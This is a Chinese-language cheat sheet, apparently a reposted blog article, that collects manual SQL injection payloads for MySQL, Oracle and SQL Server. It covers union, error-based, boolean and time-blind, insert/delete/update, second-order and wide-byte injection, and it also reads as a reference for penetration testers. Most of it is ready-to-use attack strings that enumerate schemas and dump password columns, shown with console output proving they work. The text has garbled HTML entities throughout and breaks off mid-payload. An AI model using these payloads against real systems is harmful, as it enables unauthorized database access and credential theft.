SQL手工注入总结，必须收藏！

虽说目前互联网上已经有很多关于sql注入的神器了&＃xff0c;但是在这个WAF横行的时代&＃xff0c;手工注入往往在一些真实环境中会引起尤为重要。此处主要把以前学过的知识做个总结&＃xff0c;不会有详细的知识解读&＃xff0c;替代查询手册的形式&＃xff0c;更多以后的复习与查阅&＃xff0c;文中内容可能会存在错误&＃xff0c;望师傅们斧正&＃xff01;

0x01 Mysql手工注入

1.1联合注入

?id&＃61;1&＃39; order by 4--&＃43;
?id&＃61;0&＃39; union select 1,2,3,database()--&＃43;
?id&＃61;0&＃39; union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema&＃61;database() --&＃43;
?id&＃61;0&＃39; union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name&＃61;"users" --&＃43;
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name&＃43;as&＃43;char)))column_name?id&＃61;0&＃39; union select 1,2,3,group_concat(password) from users --&＃43;
#group_concat 可替换为 concat_ws(&＃39;,&＃39;,id,users,password )?id&＃61;0&＃39; union select 1,2,3,password from users limit 0,1--&＃43;

1.2报错注入

1.floor()
select * from test where id&＃61;1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()
select * from test where id&＃61;1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()
select * from test where id&＃61;1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()
select * from test where id&＃61;1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()
select * from test where id&＃61;1 and multipoint((select * from(select * from(select user())a)b));6.polygon()
select * from test where id&＃61;1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()
select * from test where id&＃61;1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()
select * from test where id&＃61;1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()
select * from test where id&＃61;1 and multilinestring((select * from(select * from(select user())a)b));10.exp()
select * from test where id&＃61;1 and exp(~(select * from(select user())a));


每个一个报错语句都有它的原理&＃xff1a;

exp&＃xff08;&＃xff09;报错的原理&＃xff1a;exp是一个数学函数&＃xff0c;取e的x次方&＃xff0c;当我们输入的值大于709将报错&＃xff0c;然后〜取反它的值总会大于709&＃xff0c;所以报错。

updatexml&＃xff08;&＃xff09;报错的原理&＃xff1a;由于updatexml的第二个参数需要Xpath格式的字符串&＃xff0c;以〜开头的内容不是xml格式的语法&＃xff0c;concat&＃xff08;&＃xff09;函数为串联连接函数而不符合规则&＃xff0c;但嵌套内的执行结果以错误的形式报出&＃xff0c;这样就可以实现报错注入了。

爆库&＃xff1a;?id&＃61;1&＃39; and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- &＃43;
爆表&＃xff1a;?id&＃61;1&＃39; and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema&＃61;&＃39;security&＃39; limit 3,1),1) -- &＃43;
爆字段&＃xff1a;?id&＃61;1&＃39; and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name&＃61;0x7573657273 limit 2,1),1) -- &＃43;
爆数据&＃xff1a;?id&＃61;1&＃39; and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- &＃43;#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)


这里需要注意的是它加了连接字符&＃xff0c;导致数据中的md5只能爆出31位&＃xff0c;这里可以用分割函数分割出来&＃xff1a;

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度?id&＃61;1&＃39; and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- &＃43;


1.3盲注

1.3.1时间盲注

时间盲注也叫延迟注入一般用到函数sleep&＃xff08;&＃xff09;BENCHMARK&＃xff08;&＃xff09;还可以使用笛卡尔积&＃xff08;尽量不要使用&＃xff0c;内容太多会很慢很慢&＃xff09;

一般时间盲注我们还需要使用条件判断函数

#if&＃xff08;expre1&＃xff0c;expre2&＃xff0c;expre3&＃xff09;
当 expre1 为 true 时&＃xff0c;返回 expre2&＃xff0c;false 时&＃xff0c;返回 expre3#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left


我们一般喜欢把分割的函数编码一下&＃xff0c;当然不编码也行&＃xff0c;编码的好处就是可以不用引号&＃xff0c;常用到的就有ascii&＃xff08;&＃xff09;hex&＃xff08;&＃xff09;等等

?id&＃61;1&＃39; and if(ascii(substr(database(),1,1))>115,1,sleep(5))--&＃43;
?id&＃61;1&＃39; and if((substr((select user()),1,1)&＃61;&＃39;r&＃39;),sleep(5),1)--&＃43;


1.3.2布尔盲注

?id&＃61;1&＃39; and substr((select user()),1,1)&＃61;&＃39;r&＃39; -- &＃43;
?id&＃61;1&＃39; and IFNULL((substr((select user()),1,1)&＃61;&＃39;r&＃39;),0) -- &＃43;
#如果 IFNULL 第一个参数的表达式为 NULL&＃xff0c;则返回第二个参数的备用值&＃xff0c;不为 Null 则输出值?id&＃61;1&＃39; and strcmp((substr((select user()),1,1)&＃61;&＃39;r&＃39;),1) -- &＃43;
#若所有的字符串均相同&＃xff0c;STRCMP() 返回 0&＃xff0c;若根据当前分类次序&＃xff0c;第一个参数小于第二个&＃xff0c;则返回 -1 &＃xff0c;其它情况返回 1


1.4插入&＃xff0c;删除&＃xff0c;更新

插入&＃xff0c;删除&＃xff0c;更新主要是用到盲注和报错注入&＃xff0c;这种注入点不建议使用sqlmap等工具&＃xff0c;会产生大量垃圾数据&＃xff0c;一般这种注入会出现在编码&＃xff0c;ip头&＃xff0c;留言板等等需要写入数据的地方&＃xff0c;同时这种注入不报错一般较难发现&＃xff0c;我们可以尝试性插入&＃xff0c;引号&＃xff0c;双引号&＃xff0c;转义符\让语句不能正常执行&＃xff0c;然后如果插入失败&＃xff0c;更新失败&＃xff0c;然后深入测试确定是否存在注入

1.4.1报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)mysql> select * from admin;
&＃43;------&＃43;-----------------------------------------------&＃43;----------&＃43;
| id | username | password |
&＃43;------&＃43;-----------------------------------------------&＃43;----------&＃43;
| 1 | admin | admin |
| 1 | and 1&＃61;1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
&＃43;------&＃43;-----------------------------------------------&＃43;----------&＃43;
3 rows in set (0.00 sec)mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: &＃39;~5.5.53&＃39;#delete 注入很危险&＃xff0c;很危险&＃xff0c;很危险&＃xff0c;切记不能使用 or 1&＃61;1 &＃xff0c;or 右边一定要为false
mysql> delete from admin where id &＃61;-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: &＃39;~5.5.53&＃39;


1.4.2盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2&＃43;if((substr((select user()),1,1)&＃61;&＃39;r&＃39;),sleep(5),1),&＃39;1&＃39;,"admin");
Query OK, 1 row affected (5.00 sec)mysql> insert into admin values (2&＃43;if((substr((select user()),1,1)&＃61;&＃39;p&＃39;),sleep(5),1),&＃39;1&＃39;,"admin");
Query OK, 1 row affected (0.00 sec)#字符型注意闭合不能使用and
mysql> insert into admin values (2,&＃39;&＃39;&＃43;if((substr((select user()),1,1)&＃61;&＃39;p&＃39;),sleep(5),1)&＃43;&＃39;&＃39;,"admin");
Query OK, 1 row affected (0.00 sec)mysql> insert into admin values (2,&＃39;&＃39;&＃43;if((substr((select user()),1,1)&＃61;&＃39;r&＃39;),sleep(5),1)&＃43;&＃39;&＃39;,"admin");
Query OK, 1 row affected (5.01 sec)# delete 函数 or 右边一定要为 false
mysql> delete from admin where id &＃61;-2 or if((substr((select user()),1,1)&＃61;&＃39;r4&＃39;),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)mysql> delete from admin where id &＃61;-2 or if((substr((select user()),1,1)&＃61;&＃39;r&＃39;),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)#update 更新数据内容
mysql> select * from admin;
&＃43;------&＃43;----------&＃43;----------&＃43;
| id | username | password |
&＃43;------&＃43;----------&＃43;----------&＃43;
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
&＃43;------&＃43;----------&＃43;----------&＃43;
4 rows in set (0.00 sec)mysql> update admin set id&＃61;"5"&＃43;sleep(5)&＃43;"" where id&＃61;2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0


1.5二次注入与宽字节注入

二次注入的语句&＃xff1a;在没有被单引号包裹的sql语句下&＃xff0c;我们可以用16进制编码他&＃xff0c;这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values (&＃39;3&＃39;,0x61646d696e272d2d2b,&＃39;11&＃39;);
Query OK, 1 row affected (0.00 sec)mysql> select * from admin;
&＃43;----&＃43;-----------&＃43;-------&＃43;
| id | name | pass |
&＃43;----&＃43;-----------&＃43;-------&＃43;
| 1 | admin | admin |
| 2 | admin&＃39;111 | 11111 |
| 3 | admin&＃39;--&＃43; | 11 |
&＃43;----&＃43;-----------&＃43;-------&＃43;
4 rows in set (0.00 sec)


二次注入在没有二进制的情况比较难发现&＃xff0c;通常见于注册&＃xff0c;登录恶意账户后&＃xff0c;数据库可能会因为恶意账户名的问题&＃xff0c;将admin&＃39;-&＃43;误认为admin帐户

宽字节注入&＃xff1a;针对目标已达到一定的防护&＃xff0c;单引号转换为 \&＃39; &＃xff0c;mysql转换 \ 编码为 %5c &＃xff0c;宽字节中两个字节代表一个汉字&＃xff0c;所以把 %df 加上 %5c 就变成了一个汉字“运”&＃xff0c;使用这种方法成功绕过过转义&＃xff0c;就是所谓的宽字节注入

id&＃61;-1%df&＃39; union select...#没使用宽字节
%27 -> %5C%27#使用宽字节
%df%27 -> %df%5c%27 -> 運&＃39;


0x02 Oracle手工注入

2.1联合注入

?id&＃61;-1&＃39; union select user,null from dual--
?id&＃61;-1&＃39; union select version,null from v$instance--
?id&＃61;-1&＃39; union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit&＃61;3)--
?id&＃61;-1&＃39; union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name &＃61;&＃39;USERS&＃39;) where limit&＃61;2)--
?id&＃61;-1&＃39; union select username,passwd from users--
?id&＃61;-1&＃39; union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit&＃61;3)--


2.2报错注入

?id&＃61;1&＃39; and 1&＃61;ctxsys.drithsx.sn(1,(select user from dual))--
?id&＃61;1&＃39; and 1&＃61;ctxsys.drithsx.sn(1,(select banner from v$version where banner like &＃39;Oracle%))--
?id&＃61;1&＃39; and 1&＃61;ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit&＃61; 3))--
?id&＃61;1&＃39; and 1&＃61;ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name &＃61;&＃39;USERS&＃39;) where limit&＃61;3))--
?id&＃61;1&＃39; and 1&＃61;ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit&＃61;1))--


2.3盲注

2.3.1布尔盲注

既然是盲注&＃xff0c;那么肯定涉及到条件判断语句&＃xff0c;Oracle除了使用if else结束&＃xff0c;如果这种复杂的&＃xff0c;还可以使用encode&＃xff08;&＃xff09;函数。
语法&＃xff1a;decode&＃xff08;条件&＃xff0c;值1&＃xff0c;返回值1&＃xff0c;值2&＃xff0c;返回值2&＃xff0c;...值n&＃xff0c;返回值n&＃xff0c;更改值&＃xff09;;

该函数的含义如下&＃xff1a;

IF 条件&＃61;值1 THENRETURN(返回值1)
ELSIF 条件&＃61;值2 THENRETURN(返回值2)......
ELSIF 条件&＃61;值n THENRETURN(返回值n)
ELSERETURN(缺省值)
END IF


?id&＃61;1&＃39; and 1&＃61;(select decode(user,&＃39;SYSTEM&＃39;,1,0,0) from dual)--
?id&＃61;1&＃39; and 1&＃61;(select decode(substr(user,1,1),&＃39;S&＃39;,1,0,0) from dual)--
?id&＃61;1&＃39; and ascii(substr(user,1,1))> 64-- #二分法

2.3.2时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE&＃xff08;&＃39;任意值&＃39;&＃xff0c;延迟时间&＃xff09;函数进行时间盲注&＃xff0c;这个函数可以指定延迟的时间

?id&＃61;1&＃39; and 1&＃61;(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE(&＃39;a&＃39;,5) else 1 end)--
?id&＃61;1&＃39; and 1&＃61;(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE(&＃39;a&＃39;,5) else 1 end)--


0x03 SQL Server手工注入

3.1联合注入

?id&＃61;-1&＃39; union select null,null--
?id&＃61;-1&＃39; union select &＃64;&＃64;servername, &＃64;&＃64;version--
?id&＃61;-1&＃39; union select db_name(),suser_sname()--
?id&＃61;-1&＃39; union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id&＃61;-1&＃39; union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1&＃39; union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id&＃61;-1&＃39; union select (select top 1 column name from information_schema.columns where table_name&＃61;&＃39;users&＃39; and column_name not in (select top 1 column_name from information_schema.columns where table_name &＃61; &＃39;users&＃39;)),null---
?id&＃61;-1&＃39; union select (select top 1 username from users where username not in (select top 3 username from users)),null--


3.2报错注入

?id&＃61;1&＃39; and 1&＃61;(select 1/&＃64;&＃64;servername)--
?id&＃61;1&＃39; and 1&＃61;(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--


3.3盲注

3.3.1布尔盲注

?id&＃61;1&＃39; and ascii(substring((select db_ name(1)),1,1))> 64--


3.3.2时间盲注

?id&＃61; 1&＃39;;if(2>1) waitfor delay &＃39;0:0:5&＃39;--
?id&＃61; 1&＃39;;if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai


一如既往的学习&＃xff0c;一如既往的整理&＃xff0c;一如即往的分享。感谢支持

“如侵权请私聊公众号删文”